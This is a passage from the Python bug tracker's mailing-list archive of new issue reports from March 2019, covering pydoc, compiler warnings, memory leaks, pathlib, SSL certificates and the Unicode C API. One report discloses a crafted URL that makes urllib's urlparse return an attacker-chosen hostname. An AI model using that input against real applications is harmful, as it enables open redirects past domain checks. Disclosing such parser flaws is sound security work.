 |      Unique six digit vendor-supplied code
 |
 |  size
 |      Rider size: child, small, medium, large, extra-large
 |
 |  price
 |      Manufacturer suggested retail price
 |
 |  ----------------------------------------------------------------------
 |
 |  Data descriptors defined here:
 |  
 |  __dict__
 |      dictionary for instance variables (if defined)
 |  
 |  __weakref__
 |      list of weak references to the object (if defined)
 |  
 |  ----------------------------------------------------------------------
 |  Data and other attributes defined here:
 |  
 |  __data_dictionary__ = {'category': 'Primary use: road, cross-over, or .

----------
components: Library (Lib)
messages: 338121
nosy: rhettinger
priority: normal
severity: normal
status: open
title: Build-out help() to support a class level data dictionary
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36325>
_______________________________________

From report at bugs.python.org  Sun Mar 17 06:11:16 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 17 Mar 2019 10:11:16 +0000
Subject: [New-bugs-announce] [issue36326] Build-out help() to read __slots__
 with an optional data dictionary
Message-ID: <1552817476.02.0.169886885887.issue36326@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

The __slots__ variable already works with dictionaries.  The values are simply ignored. 

I propose teaching help() to read those optional dictionaries to give better information on member objects (much like we already have with property objects).

This is inspired by data dictionaries for database tables.

The pydoc implementation would be somewhat easy.  Roughly this:

   for name in data_descriptors:
       print(f' |  {name}'
       if isinstance(slots, dict) and name in slots:
           print(f' |      {slots[name]}')
       print(' |')


==== Example ====================================================

>>> class Bicycle:

       __slots__ = dict(
           category = 'Primary use: road, cross-over, or hybrid',
           model = 'Unique six digit vendor-supplied code',
           size = 'Rider size: child, small, medium, large, extra-large',
           price = 'Manufacturer suggested retail price', 
       )

>>> help(Bicycle)
Help on class Bicycle in module __main__:

class Bicycle(builtins.object)
 |  Data descriptors defined here:
 |  
 |  category
 |      Primary use: road, cross-over, or hybrid
 |  
 |  model
 |      Unique six digit vendor-supplied code
 |  
 |  price
 |      Rider size: child, small, medium, large, extra-large
 |  
 |  size
 |      Manufacturer suggested retail price

----------
components: Library (Lib)
messages: 338125
nosy: rhettinger
priority: normal
severity: normal
status: open
title: Build-out help() to read __slots__ with an optional data dictionary
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36326>
_______________________________________

From report at bugs.python.org  Sun Mar 17 10:53:46 2019
From: report at bugs.python.org (Christian Clauss)
Date: Sun, 17 Mar 2019 14:53:46 +0000
Subject: [New-bugs-announce] [issue36327] Remove EOLed Py34 from "Status of
 Python branches"
Message-ID: <1552834426.21.0.72238975198.issue36327@roundup.psfhosted.org>


New submission from Christian Clauss <cclauss at me.com>:

Remove Python 3.4 https://devguide.python.org/#branchstatus

Add Python 3.4 https://devguide.python.org/devcycle/#end-of-life-branches

----------
assignee: docs at python
components: Documentation
messages: 338131
nosy: cclauss, docs at python
priority: normal
severity: normal
status: open
title: Remove EOLed Py34 from "Status of Python branches"
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36327>
_______________________________________

From report at bugs.python.org  Sun Mar 17 13:40:54 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 17:40:54 +0000
Subject: [New-bugs-announce] [issue36328] tstate may be used uninitialized
 in Py_NewInterpreter
Message-ID: <1552844454.78.0.703693793715.issue36328@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

I get this warning when I compile python without the --with-pydebug flag.


Python/pylifecycle.c: In function 'Py_NewInterpreter':
Python/pylifecycle.c:1442:12: warning: 'tstate' may be used uninitialized in this function [-Wmaybe-uninitialized]
     return tstate;
            ^~~~~~

Does not occur with python 3.7

----------
messages: 338134
nosy: matrixise, serhiy.storchaka
priority: normal
severity: normal
status: open
title: tstate may be used uninitialized in Py_NewInterpreter
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36328>
_______________________________________

From report at bugs.python.org  Sun Mar 17 14:57:38 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 18:57:38 +0000
Subject: [New-bugs-announce] [issue36329] use the right python "make -C Doc/
 serve"
Message-ID: <1552849058.57.0.633692372704.issue36329@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

When serving the documentation with `make -C Doc/ serve`, we can not specify the path of the python binary.

My use case, I wanted to debug the wsgiref.simple_server method, used by Tools/scripts/serve.py. It's just impossible because  we use the default python3 binary from the system or from the virtualenv (pyenv. etc...)

----------
messages: 338135
nosy: matrixise
priority: normal
severity: normal
status: open
title: use the right python "make -C Doc/ serve"
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36329>
_______________________________________

From report at bugs.python.org  Sun Mar 17 15:20:11 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 19:20:11 +0000
Subject: [New-bugs-announce] [issue36330] Warning about a potential dead
 code in timemodule and Clang
Message-ID: <1552850411.26.0.43372681058.issue36330@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

env CC="/usr/bin/clang" CCX="/usr/bin/clang" ./configure > /dev/null ;and make -j 4 > /dev/null

./Modules/timemodule.c:113:13: warning: code will never be executed [-Wunreachable-code]
            PyErr_SetString(PyExc_OverflowError,
            ^~~~~~~~~~~~~~~
1 warning generated.

----------
components: Interpreter Core
messages: 338137
nosy: matrixise
priority: normal
severity: normal
status: open
title: Warning about a potential dead code in timemodule and Clang
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36330>
_______________________________________

From report at bugs.python.org  Sun Mar 17 16:55:32 2019
From: report at bugs.python.org (Jagadeesh Marella)
Date: Sun, 17 Mar 2019 20:55:32 +0000
Subject: [New-bugs-announce] [issue36331] check_output is returning non-zero
 exit status 1
Message-ID: <1552856132.97.0.4276096432.issue36331@roundup.psfhosted.org>


New submission from Jagadeesh Marella <marella.jagadeesh9 at gmail.com>:

>>>> check_output(["screen", "-ls"])
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/Cellar/pypy3/6.0.0/libexec/lib-python/3/subprocess.py", line 316, in check_output
    **kwargs).stdout
  File "/usr/local/Cellar/pypy3/6.0.0/libexec/lib-python/3/subprocess.py", line 398, in run
    output=stdout, stderr=stderr)
subprocess.CalledProcessError: Command '['screen', '-ls']' returned non-zero exit status 1

----------
components: macOS
messages: 338140
nosy: jagadeesh, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: check_output is returning non-zero exit status 1
type: compile error
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36331>
_______________________________________

From report at bugs.python.org  Sun Mar 17 18:10:50 2019
From: report at bugs.python.org (Kyungdahm Yun)
Date: Sun, 17 Mar 2019 22:10:50 +0000
Subject: [New-bugs-announce] [issue36332] compile() error on AST object with
 assignment expression
Message-ID: <1552860650.83.0.184007481233.issue36332@roundup.psfhosted.org>


New submission from Kyungdahm Yun <tomyun at gmail.com>:

Seems like compile() can't properly handle assignment expressions parsed in AST object.

Python 3.8.0a2+ (heads/master:06e1e68, Mar 17 2019, 14:27:19)
[Clang 10.0.0 (clang-1000.10.44.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import ast
>>> compile("if a == 1:\n  True", '<string>', 'exec')
<code object <module> at 0x10a59ef60, file "<string>", line 1>
>>> compile(ast.parse("if a == 1:\n  True"), '<string>', 'exec')
<code object <module> at 0x10a5f6780, file "<string>", line 1>
>>> compile("if a := 1:\n  True", '<string>', 'exec')
<code object <module> at 0x10a59ef60, file "<string>", line 1>
>>> compile(ast.parse("if a := 1:\n  True"), '<string>', 'exec')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
SystemError: unexpected expression
>>>

This issue seems to break IPython when trying to use any assignment expressions.
https://github.com/ipython/ipython/issues/11618

----------
components: Interpreter Core
messages: 338143
nosy: tomyun
priority: normal
severity: normal
status: open
title: compile() error on AST object with assignment expression
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36332>
_______________________________________

From report at bugs.python.org  Sun Mar 17 19:45:18 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 23:45:18 +0000
Subject: [New-bugs-announce] [issue36333] memory leaks detected with
 valgrind for python -V
Message-ID: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

I have detected 3 memory leaks when I execute python -V with valgrind -> 162 bytes.

The leaks do seem to be in pymain_init and in _PyPreConfig_ReadFromArgv (the string for the locale is not freed).

Also _PyRuntimeState_Fini does not release the memory of the mutex on runtime->xidregistry.

You can find the first status in the valgrind.log file (with the leaks).

----------
components: Interpreter Core
files: valgrind.log
messages: 338147
nosy: matrixise
priority: normal
severity: normal
status: open
title: memory leaks detected with valgrind for python -V
Added file: https://bugs.python.org/file48213/valgrind.log

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Sun Mar 17 22:12:20 2019
From: report at bugs.python.org (Mike Davies)
Date: Mon, 18 Mar 2019 02:12:20 +0000
Subject: [New-bugs-announce] [issue36334] pathlib.Path unexpected (wrong)
 behaviour when combining paths in a for loop
Message-ID: <1552875140.48.0.232473204504.issue36334@roundup.psfhosted.org>


New submission from Mike Davies <michaeljamesdavies at gmail.com>:

I wish to create a list of pathlib.Paths by combining two lists of pathlib.Paths. I use two for loops to make every combination.

However the output is not what one would expect (see no 'Program Files' is visible in the output).

########## INPUT:
pa = [   
    Path('C:/Program Files'),
    Path('C:/')
]
pb = [
    Path('/one/two/three.exe'),
    Path('/four.exe') 
    ]
print( [a/b for a in pa for b in pb] )

########### OUTPUT:
[WindowsPath('C:/one/two/three.exe'), WindowsPath('C:/four.exe'), WindowsPath('C:/one/two/three.exe'), WindowsPath('C:/four.exe')]

This is true whether I use for loops or list comprehensions.


To get the expected output I need to change the Paths to strings, combine them, then convert them back to paths like this:

########### INPUT:
print( [Path(str(a)+str(b)) for a in pa for b in pb] )
########### OUTPUT:
[WindowsPath('C:/Program Files/one/two/three.exe'), WindowsPath('C:/Program Files/four.exe'), WindowsPath('C:/one/two/three.exe'), WindowsPath('C:/four.exe')]


Interestingly if I print only 'a' I get the expected answer:
########### INPUT:
print( [a for a in pa for b in pb] )
########### OUTPUT:
[WindowsPath('C:/Program Files'), WindowsPath('C:/Program Files'), WindowsPath('C:/'), WindowsPath('C:/')]


And the same is true if I print only 'b':
########### INPUT:
print( [b for a in pa for b in pb] )
########### OUTPUT:
[WindowsPath('/one/two/three.exe'), WindowsPath('/four.exe'), WindowsPath('/one/two/three.exe'), WindowsPath('/four.exe')]



Additionally in some cases it does give the correct answer. Here is a similar example where the answer is correct:
########### INPUT:
pa = [Path('C:/'), Path('D:/')]
pb = [Path('a.exe'), Path('b.exe')]
print( [a/b for a in pa for b in pb] )
########### OUTPUT:
[WindowsPath('C:/a.exe'), WindowsPath('C:/b.exe'), WindowsPath('D:/a.exe'), WindowsPath('D:/b.exe')]

----------
components: Windows
messages: 338156
nosy: Mike Davies, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: pathlib.Path  unexpected (wrong) behaviour when combining paths in a for loop
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36334>
_______________________________________

From report at bugs.python.org  Sun Mar 17 23:30:29 2019
From: report at bugs.python.org (daniel hahler)
Date: Mon, 18 Mar 2019 03:30:29 +0000
Subject: [New-bugs-announce] [issue36335] Factor out / add
 bdb.Bdb.is_skipped_frame
Message-ID: <1552879829.66.0.950259936465.issue36335@roundup.psfhosted.org>


New submission from daniel hahler <python-bugs at thequod.de>:

In https://bugs.python.org/issue36130 is_skipped_module was changed to handle frames without __name__, but I think it makes sense being able to skip e.g. frames on frame.f_code.co_name then.

Factoring out is_skipped_frame allows for this.

The default implementation would call is_skipped_module if there are any skip patterns, and return False otherwise.

----------
components: Library (Lib)
messages: 338159
nosy: blueyed
priority: normal
severity: normal
status: open
title: Factor out / add bdb.Bdb.is_skipped_frame
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36335>
_______________________________________

From report at bugs.python.org  Mon Mar 18 03:01:31 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 07:01:31 +0000
Subject: [New-bugs-announce] [issue36336] test_httplib,
 test_multiprocessing_forkserver leaks on x86 Gentoo
Message-ID: <1552892491.62.0.177603077727.issue36336@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

See this build report: https://buildbot.python.org/all/#/builders/72/builds/523

test_multiprocessing_forkserver leaked [1, 1, 1] memory blocks, sum=3
test_httplib leaked [1, 1, 1] memory blocks, sum=3
Re-running failed tests in verbose mode
Re-running test 'test_multiprocessing_forkserver' in verbose mode
test_multiprocessing_forkserver leaked [0, 0, 2] file descriptors, sum=2
Re-running test 'test_httplib' in verbose mode

----------
components: Library (Lib), Tests
keywords: 3.6regression
messages: 338165
nosy: matrixise
priority: normal
severity: normal
status: open
title: test_httplib, test_multiprocessing_forkserver leaks on x86 Gentoo
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36336>
_______________________________________

From report at bugs.python.org  Mon Mar 18 03:12:24 2019
From: report at bugs.python.org (kmiku7)
Date: Mon, 18 Mar 2019 07:12:24 +0000
Subject: [New-bugs-announce] [issue36337] Use socket.sendall()/send() send
 data larger than 2GB will be truncated and return None,
 without exception raised.
Message-ID: <1552893144.47.0.748633032605.issue36337@roundup.psfhosted.org>


New submission from kmiku7 <kakoimiku at gmail.com>:

In file Modules/socketmodule.c, sock_send/sock_sendall use int to keep array length need be sent and has sent.

----------
components: Library (Lib)
messages: 338166
nosy: kmiku7
priority: normal
severity: normal
status: open
title: Use socket.sendall()/send() send data larger than 2GB will be truncated and return None, without exception raised.
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36337>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:06:11 2019
From: report at bugs.python.org (Xianbo Wang)
Date: Mon, 18 Mar 2019 08:06:11 +0000
Subject: [New-bugs-announce] [issue36338] urlparse of urllib returns wrong
 hostname
Message-ID: <1552896371.92.0.122580708995.issue36338@roundup.psfhosted.org>


New submission from Xianbo Wang <sanebow at gmail.com>:

The urlparse function in Python urllib returns the wrong hostname when parsing URL crafted by the malicious user. This may be caused by incorrect handling of IPv6 addresses. The bug could lead to open redirect in web applications which rely on urlparse to extract and validate the domain of redirection URL.

The test case is as follows:

>>> from urllib.parse import urlparse
>>> urlparse(urlparse('http://benign.com\[attacker.com]').hostname
>>> 'attacker.com'

The correct behavior should be raising an invalid URL exception.

----------
components: Library (Lib)
messages: 338171
nosy: Xianbo Wang
priority: normal
severity: normal
status: open
title: urlparse of urllib returns wrong hostname
type: security
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36338>
_______________________________________

From report at bugs.python.org  Mon Mar 18 04:57:08 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 08:57:08 +0000
Subject: [New-bugs-announce] [issue36339] test_ttk_guionly: test_traversal()
 fails randomly on AMD64 Windows8.1 Refleaks 2.7
Message-ID: <1552899428.95.0.891639199681.issue36339@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

AMD64 Windows8.1 Refleaks 2.7:

https://buildbot.python.org/all/#/builders/33/builds/538

Previous related issues:

* bpo-8445
* bpo-11925

Extract of the test code:

    def test_traversal(self):
        self.nb.pack()
        self.nb.wait_visibility()

        self.nb.select(0)

        simulate_mouse_click(self.nb, 5, 5)
        self.nb.focus_force()
        self.nb.event_generate('<Control-Tab>')
        self.assertEqual(self.nb.select(), str(self.child2))  # <~~~ HERE
        self.nb.focus_force()
        self.nb.event_generate('<Shift-Control-Tab>')
        self.assertEqual(self.nb.select(), str(self.child1))
        ...


Buildbot logs:

test_traversal (test_ttk.test_widgets.NotebookTest) ... ok
test_traversal (test_ttk.test_widgets.NotebookTest) ... FAIL
...
test_xscrollcommand (test_ttk.test_widgets.TreeviewTest) ... ok
test_yscrollcommand (test_ttk.test_widgets.TreeviewTest) ... ok
test_identify (test_ttk.test_widgets.WidgetTest) ... ok
beginning 6 repetitions
123456
.test test_ttk_guionly failed -- Traceback (most recent call last):
  File "D:\buildarea\2.7.ware-win81-release.refleak\build\lib\lib-tk\test\test_ttk\test_widgets.py", line 1096, in test_traversal
    self.assertEqual(self.nb.select(), str(self.child2))
AssertionError: '.85131176L' != '.85291096L'

test_widget_state (test_ttk.test_widgets.WidgetTest) ... ok

======================================================================
FAIL: test_traversal (test_ttk.test_widgets.NotebookTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "D:\buildarea\2.7.ware-win81-release.refleak\build\lib\lib-tk\test\test_ttk\test_widgets.py", line 1096, in test_traversal
    self.assertEqual(self.nb.select(), str(self.child2))
AssertionError: '.85131176L' != '.85291096L'

----------------------------------------------------------------------
Ran 273 tests in 2.843s

FAILED (failures=1)
1 test failed again:
    test_ttk_guionly

----------
components: Tests
messages: 338176
nosy: pablogsal, vstinner
priority: normal
severity: normal
status: open
title: test_ttk_guionly: test_traversal() fails randomly on AMD64 Windows8.1 Refleaks 2.7
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36339>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:06:23 2019
From: report at bugs.python.org (Dima Tisnek)
Date: Mon, 18 Mar 2019 09:06:23 +0000
Subject: [New-bugs-announce] [issue36340] 3.7.3rc1 Install Certificates
 fails on macOS
Message-ID: <1552899983.31.0.875168024252.issue36340@roundup.psfhosted.org>


New submission from Dima Tisnek <dimaqq at gmail.com>:

I've just installed Python 3.7.3rc1 for macOS 10.9 or later from the macOS 64-bit installer.

I've clicked the `Install Certificates.command`, which opened a Terminal, ran and failed with:

```
Last login: Mon Mar 18 16:36:21 on ttys010
Welcome to fish, the friendly interactive shell
? ~> /Applications/Python\ 3.7/Install\ Certificates.command ; exit;
 -- pip install --upgrade certifi
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/__main__.py", line 16, in <module>
    from pip._internal import main as _main  # isort:skip # noqa
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pip/_internal/__init__.py", line 19, in <module>
    from pip._vendor.urllib3.exceptions import DependencyWarning
ModuleNotFoundError: No module named 'pip._vendor.urllib3.exceptions'
Traceback (most recent call last):
  File "<stdin>", line 44, in <module>
  File "<stdin>", line 25, in main
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/subprocess.py", line 347, in check_call
    raise CalledProcessError(retcode, cmd)
subprocess.CalledProcessError: Command '['/Library/Frameworks/Python.framework/Versions/3.7/bin/python3.7', '-E', '-s', '-m', 'pip', 'install', '--upgrade', 'certifi']' returned non-zero exit status 1.

[Process completed]
```

I was able to run the same command from my regular shell (iTerm2, fish, $PATH addons, etc.) and that completed just fine and installed certifi==2019.3.9

Either there's just something wrong with my system (what?) or the initial experience for average user is broken (unlikely?)...

----------
components: Installation
messages: 338179
nosy: Dima.Tisnek
priority: normal
severity: normal
status: open
title: 3.7.3rc1 Install Certificates fails on macOS
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36340>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:28:31 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Mar 2019 09:28:31 +0000
Subject: [New-bugs-announce] [issue36341] bind() on AF_UNIX socket may fail
 in tests run as non-root
Message-ID: <1552901311.8.0.284051575659.issue36341@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

This happens on Android where a SELinux policy prevents a plain user to bind() a pathname AF_UNIX socket (abstract and unnamed sockets are not constrained by this policy).

The errors are:

test_asyncio:
======================================================================
ERROR: test_start_unix_server_1 (test.test_asyncio.test_server.SelectorStartServerTests)
----------------------------------------------------------------------
Traceback (most recent call last):
File "/data/local/tmp/python/lib/python3.8/test/test_asyncio/test_server.py", line 105, in test_start_unix_server_1
  srv = self.loop.run_until_complete(asyncio.start_unix_server(
File "/data/local/tmp/python/lib/python3.8/asyncio/base_events.py", line 589, in run_until_complete
  return future.result()
File "/data/local/tmp/python/lib/python3.8/asyncio/streams.py", line 115, in start_unix_server
  return await loop.create_unix_server(factory, path, **kwds)
File "/data/local/tmp/python/lib/python3.8/asyncio/unix_events.py", line 285, in create_unix_server
  sock.bind(path)
PermissionError: [Errno 13] Permission denied

test_socket:
======================================================================
ERROR: test_socket_fileno (test.test_socket.GeneralModuleTests)
----------------------------------------------------------------------
Traceback (most recent call last):
File "/data/local/tmp/python/lib/python3.8/test/test_socket.py", line 1780, in test_socket_fileno
  s.bind(os.path.join(tmpdir, 'socket'))
PermissionError: [Errno 13] Permission denied

test_stat:
======================================================================
ERROR: test_socket (test.test_stat.TestFilemodeCStat)
----------------------------------------------------------------------
Traceback (most recent call last):
File "/data/local/tmp/python/lib/python3.8/test/test_stat.py", line 198, in test_socket
  s.bind(TESTFN)
PermissionError: [Errno 13] Permission denied

======================================================================
ERROR: test_socket (test.test_stat.TestFilemodePyStat)
----------------------------------------------------------------------
Traceback (most recent call last):
File "/data/local/tmp/python/lib/python3.8/test/test_stat.py", line 198, in test_socket
  s.bind(TESTFN)
PermissionError: [Errno 13] Permission denied

----------
components: Tests
messages: 338183
nosy: xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: bind() on AF_UNIX socket may fail in tests run as non-root
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36341>
_______________________________________

From report at bugs.python.org  Mon Mar 18 06:02:39 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Mar 2019 10:02:39 +0000
Subject: [New-bugs-announce] [issue36342] test_multiprocessing fails on
 platforms lacking a functioning sem_open
Message-ID: <1552903359.9.0.770761638832.issue36342@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

test_multiprocessing fails on platforms lacking a functioning sem_open (Android for example) with:

======================================================================
ERROR: test_multiprocessing (test.test_venv.BasicTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.8/test/test_venv.py", line 317, in test_multiprocessing
    out, err = check_output([envpy, '-c',
  File "/data/local/tmp/python/lib/python3.8/test/test_venv.py", line 37, in check_output
    raise subprocess.CalledProcessError(
subprocess.CalledProcessError: Command '['/data/local/tmp/python/tmp/tmpli0_hkdl/bin/python', '-c', 'from multiprocessing import Pool; print(Pool(1).apply_async("Python".lower).get(3))']' returned non-zero exit status 1.

----------
components: Tests
messages: 338188
nosy: xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: test_multiprocessing fails on platforms lacking a functioning sem_open
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36342>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:40:20 2019
From: report at bugs.python.org (Christian Herdtweck)
Date: Mon, 18 Mar 2019 11:40:20 +0000
Subject: [New-bugs-announce] [issue36343] Certificate added to Win Store not
 available
Message-ID: <1552909220.78.0.352690295035.issue36343@roundup.psfhosted.org>


New submission from Christian Herdtweck <christian.herdtweck at intra2net.com>:

I have created a self-signed certificate as my fake CA, used it to sign the certificate of my test server. I added the fake CA to the client (Windows 7) certificate store (System settings > Internet Settings > Content > Certificates), imported it there first only to "trusted root certificate authorities (translating from German "Vertrauensw?rdige Stammzertifizierungsstellen" here), after failed tests to all tabs (including "own certificates", "intermediate certification authorities", but not the the "non-trusted issuers").

I can see my fake ca certificate in the lists in the windows settings, but querying the windows CA store through python (version 3.7), either through ssl.create_default_context().get_ca_certs() or ssl.enum_certificates(store) for store in ("CA", "ROOT", "MY") I only see some default builtin authorities (digicert, microsoft, comodo, verisign, etc).

This might be related to https://bugs.python.org/issue36011 . The related PR https://github.com/python/cpython/pull/11923 is now closed but I do not see the commit in master/3.7/feature-version branch. Was it dismissed?

I am aware there are options to add certificate files to SSL_CERT_DIR, but it is my understanding that python now uses the windows certificate store and that is where in my case the certificate should go.

----------
assignee: christian.heimes
components: SSL
messages: 338198
nosy: christian-intra2net, christian.heimes
priority: normal
severity: normal
status: open
title: Certificate added to Win Store not available
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36343>
_______________________________________

From report at bugs.python.org  Mon Mar 18 08:24:20 2019
From: report at bugs.python.org (Dmitrii Pasechnik)
Date: Mon, 18 Mar 2019 12:24:20 +0000
Subject: [New-bugs-announce] [issue36344] install_certificates.command too
 complicated, copy from pip's dir instead
Message-ID: <1552911860.35.0.715970160231.issue36344@roundup.psfhosted.org>


New submission from Dmitrii Pasechnik <dimpase at gmail.com>:

Currently (e.g. on the released Python 2.7.16) Mac/BuildScript/resources/install_certificates.command does install certifi module from the net and symlinks its cacert.pem to provide openssl with a working certificate. The same task may be accomplished much easier, by symlinking pip's cacert.pem, as follows (just shell commands, for the purposes of demonstration)

cd local/openssl
rm -f local/openssl/cert.pem
ln -s ../lib/python2.7/site-packages/pip/_vendor/certifi/cacert.pem cert.pem 

This works as pip's cacert.pem contains the same certificate as the one provided by unvendored certifi (as can be seen by looking at it using "openssl x509 -in ..." on it).

I'd be happy to provide a PR if this is acceptable.

----------
components: macOS
messages: 338211
nosy: dimpase, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: install_certificates.command too complicated,  copy from pip's dir instead
type: enhancement
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36344>
_______________________________________

From report at bugs.python.org  Mon Mar 18 09:57:39 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 13:57:39 +0000
Subject: [New-bugs-announce] [issue36345] Deprecate Tools/scripts/serve.py
 in favour of python -m http.server -d
Message-ID: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

The Makefile of Doc/ has a `serve` target. Currently, this one uses `Tools/scripts/serve.py`. But since 3.7, this script could be replaced by `python -m http.server -d directory`.

@mdk and myself thinking we could deprecate `Tools/scripts/serve.py` with a warning and propose to use `-m http.server -d directory`

----------
assignee: docs at python
components: Documentation
messages: 338224
nosy: docs at python, matrixise
priority: normal
severity: normal
status: open
title: Deprecate Tools/scripts/serve.py in favour of python -m http.server -d
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:23:01 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 18 Mar 2019 14:23:01 +0000
Subject: [New-bugs-announce] [issue36346] Prepare for removing the legacy
 Unicode C API
Message-ID: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

The legacy Unicode C API was deprecated in 3.3. Its support consumes resources: more memory usage by Unicode objects, additional code for handling Unicode objects created with the legacy C API. Currently every Unicode object has a cache for the wchar_t representation.

The proposed PR adds two compile time options: HAVE_UNICODE_WCHAR_CACHE and USE_UNICODE_WCHAR_CACHE. Both are set to 1 by default.

If USE_UNICODE_WCHAR_CACHE is set to 0, CPython will not use the wchar_t cache internally. The new wchar_t based C API will be used instead of the Py_UNICODE based C API. This can add small performance penalty for creating a temporary buffer for the wchar_t representation. On other hand, this will decrease the long-term memory usage. This build is binary compatible with the standard build and third-party extensions can use the legacy Unicode C API.

If HAVE_UNICODE_WCHAR_CACHE is set to 0, the wchar_t cache will be completely removed. The legacy Unicode C API will be not available, and functions that need it (e.g. PyArg_ParseTuple() with the "u" format unit) will always fail. This build is binary incompatible with the standard build if you use the legacy or non-stable Unicode C API.

I hope that these options will help third-party projects to prepare for removing the legacy Unicode C API in future.

----------
components: Interpreter Core, Unicode
messages: 338228
nosy: ezio.melotti, inada.naoki, serhiy.storchaka, vstinner
priority: normal
severity: normal
status: open
title: Prepare for removing the legacy Unicode C API
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36346>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:42:30 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 14:42:30 +0000
Subject: [New-bugs-announce] [issue36347] Add the constant READWRITE for
 PyMemberDef
Message-ID: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

When we define some members with PyMemberDef, we have to specify the flag for read-write or read-only. 

static PyMemberDef members[] = {
    {"name", T_OBJECT, offsetof(MyObject, name), 0, "Name object"},
    {NULL}  // Sentinel
};

